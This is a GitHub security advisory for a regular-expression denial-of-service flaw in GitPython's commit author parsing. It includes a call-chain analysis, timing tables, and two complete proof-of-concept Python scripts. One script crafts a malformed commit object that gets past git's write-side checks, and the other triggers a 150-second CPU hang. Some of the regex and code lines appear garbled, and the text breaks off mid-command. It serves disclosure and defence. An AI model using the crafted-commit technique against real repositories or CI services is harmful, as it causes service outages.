GHSA-g5vv-9gxw-82hx GitPython: Denial of Service via catastrophic backtracking (ReDoS) in Actor.name_email_regex — commit author/committer field parsing

• PyPI GitPython: < 3.1.60 → fixed in 3.1.60

Summary GitPython's `Actor.name_email_regex` regular expression (`git/util.py`, line 863) is vulnerable to catastrophic backtracking (ReDoS — Regular Expression Denial of Service). When GitPython parses the `author` or `committer` header of a git commit object that contains a long string with an unterminated ``), the Python regex engine enters quadratic backtracking, causing complete single-threaded CPU exhaustion proportional to the square of the input length. A single crafted commit object can block any GitPython API call that reads `.author` or `.committer` for over two minutes per invocation, enabling denial of service against CI runners, code-hosting backends, repository-scanning pipelines, or any service that processes commits from third-party or untrusted repositories. --- Details Vulnerable file and line: `git/util.py`, line 863: ```python name_email_regex = re.compile(r"(.*) ") ``` This regex is evaluated inside `Actor._from_string()` (line 909) every time GitPython resolves a commit's `.author` or `.committer` property. Full call chain — from public API to vulnerable sink: commit.author # any ordinary GitPython API call └── git/objects/commit.py:917 Commit._deserialize() └── git/objects/util.py:341 parse_actor_and_date(author_line) └── git/util.py:909 Actor._from_string(string) └── Actor.name_email_regex.search(string) ← VULNERABLE `author_line` is decoded directly from the raw bytes of the git commit object with no length limit, character restriction, or timeout applied at any point before reaching the regex engine. The same chain is triggered by: • `commit.author` • `commit.committer` • `repo.iter_commits()` • `repo.blame()` • Any web service / CI tool that displays or processes commit metadata Why this pattern backtracks catastrophically: The pattern `(.*) ` contains an unbounded greedy group `(.*)` followed by a literal space and ``, the regex engine must try every possible split position for the greedy group — O(n²) candidate positions for a string of length n — each of which then drives the inner lazy group into further sub-match attempts. This is the well-documented "catastrophic backtracking" failure mode for this family of patterns. Empirically measured scaling (tested against GitPython 3.1.59, commit 52a6cba): | Author field length (bytes) | Time to resolve `.author` | |-----------------------------|--------------------------| | 1,000 | 0.0035 s | | 5,000 | 0.084 s | | 10,000 | 0.341 s | | 20,000 | 1.525 s | | 40,000 | 5.963 s | | 60,000 | 13.360 s | | 80,000 | 23.871 s | | 200,000 | 150.488 s | Each doubling of input size roughly quadruples processing time (e.g. 40,000 → 80,000 bytes: 5.96 s → 23.87 s ≈ 4.0×), confirming O(n²) growth. Git itself imposes no practical size limit on author name fields in the object format. How the malicious object reaches a victim: The PoC creates the commit object as a correctly SHA-1-hashed, zlib-compressed git loose object written directly into `.git/objects/`. `git cat-file -t ` confirms it is a valid `commit` type and git's own read-side tools display it without error. Only git's write-side tooling (`git commit --author`, `git update-index`, explicit `git fsck`) applies the sanity checks that would reject a malformed author line. Delivery paths that bypass those checks include: • A git server with `receive.fsckObjects = false` (common in self-hosted deployments) • A `.git` directory shipped as a tarball, backup, or zip archive • A git bundle file • Any automated mirror or import tool that operates at the object level --- PoC Environment used for testing: • GitPython 3.1.59, installed in editable mode from source (no code modifications) • Python 3.12.3, git 2.43.0, Ubuntu 24.04 Script 1 — craft the malicious repository (`craft_malicious_repo.py`): ```python !/usr/bin/env python3 """ Creates a git repository with one commit whose 'author' field is a large string containing an unterminated ' """ import hashlib, os, subprocess, sys, zlib def run(cmd, cwd): return subprocess.run(cmd, cwd=cwd, check=True, capture_output=True, text=True) def main(): if len(sys.argv) != 3: print(f"usage: {sys.argv[0]} ") sys.exit(1) target_dir, payload_size = sys.argv[1], int(sys.argv[2]) os.makedirs(target_dir, exist_ok=True) run(["git", "init", "--quiet"], cwd=target_dir) run(["git", "config", "user.email", "[email protected]"], cwd=target_dir) run(["git", "config", "user.name", "PoC"], cwd=target_dir) with open(os.path.join(target_dir, "README.txt"), "w") as f: f.write("GitPython ReDoS PoC repository\n") run(["git", "add", "README.txt"], cwd=target_dir) tree_sha = run(["git", "write-tree"], cwd=target_dir).stdout.strip() malicious_name = "A" * payload_size # Key: author field contains a '' author_line = f"author {malicious_name} 1691999972 -0700" message = "ReDoS PoC commit" commit_content = ( f"tree {tree_sha}\n{author_line}\n{committer_line}\n\n{message}\n" ).encode() header = f"commit {len(commit_content)}\x00".encode() store = header + commit_content sha = hashlib.sha1(store).hexdigest() compressed = zlib.compress(store) objdir = os.path.join(target_dir, ".git", "objects", sha[:2]) os.makedirs(objdir, exist_ok=True) with open(os.path.join(objdir, sha[2:]), "wb") as f: f.write(compressed) run(["git", "update-ref", "refs/heads/master", sha], cwd=target_dir) print(f"Malicious commit sha : {sha}") print(f"Payload size : {payload_size} bytes") verify = subprocess.run( ["git", "cat-file", "-t", sha], cwd=target_dir, capture_output=True, text=True ) print(f"git cat-file -t confirms: {verify.stdout.strip()}") if __name__ == "__main__": main() ``` Script 2 — trigger the vulnerability (`trigger_redos.py`): ```python !/usr/bin/env python3 """ Opens the repository with GitPython and times commit.author access, which triggers Actor._from_string() -> Actor.name_email_regex.search(). Usage: python3 trigger_redos.py """ import sys, time, git def main(): if len(sys.argv) != 3: print(f"usage: {sys.argv[0]} ") sys.exit(1) repo = git.Repo(sys.argv[1]) commit = repo.commit(sys.argv[2]) print("Accessing commit.author — triggers Actor._from_string()...") t0 = time.time() author = commit.author # ← this single line causes the hang elapsed = time.time() - t0 print(f"Author name length : {len(author.name)} chars") print(f"Elapsed : {elapsed:.3f} seconds") print("RESULT: VULNERABLE" if elapsed > 5 else "RESULT: not triggered") if __name__ == "__main__": main() ``` Execution and observed output: $ python3 craft_malicious_repo.py /tmp/victim-repo 200000 Malicious commit sha : 2450fbd5ab5ebfff430dab183d25678df9fd20de Payload size : 200000 bytes git cat-file -t confirms: commit $ python3 trigger_redos.py /tmp/victim-repo 2450fbd5ab5ebfff430dab183d25678df9fd20de Accessing commit.author — triggers Actor._from_string()... Author name length : 200014 chars Elapsed : 150.488 seconds RESULT: VULNERABLE Docker reproduction (fully isolated environment): ```bash docker run --rm -it -v ~/gitpython-poc:/work -w /work python:3.8-bookworm bash Inside the container: apt-get update && apt-get install -y git git clone --depth 1 https://github.com/gitpython-developers/GitPython.git /work…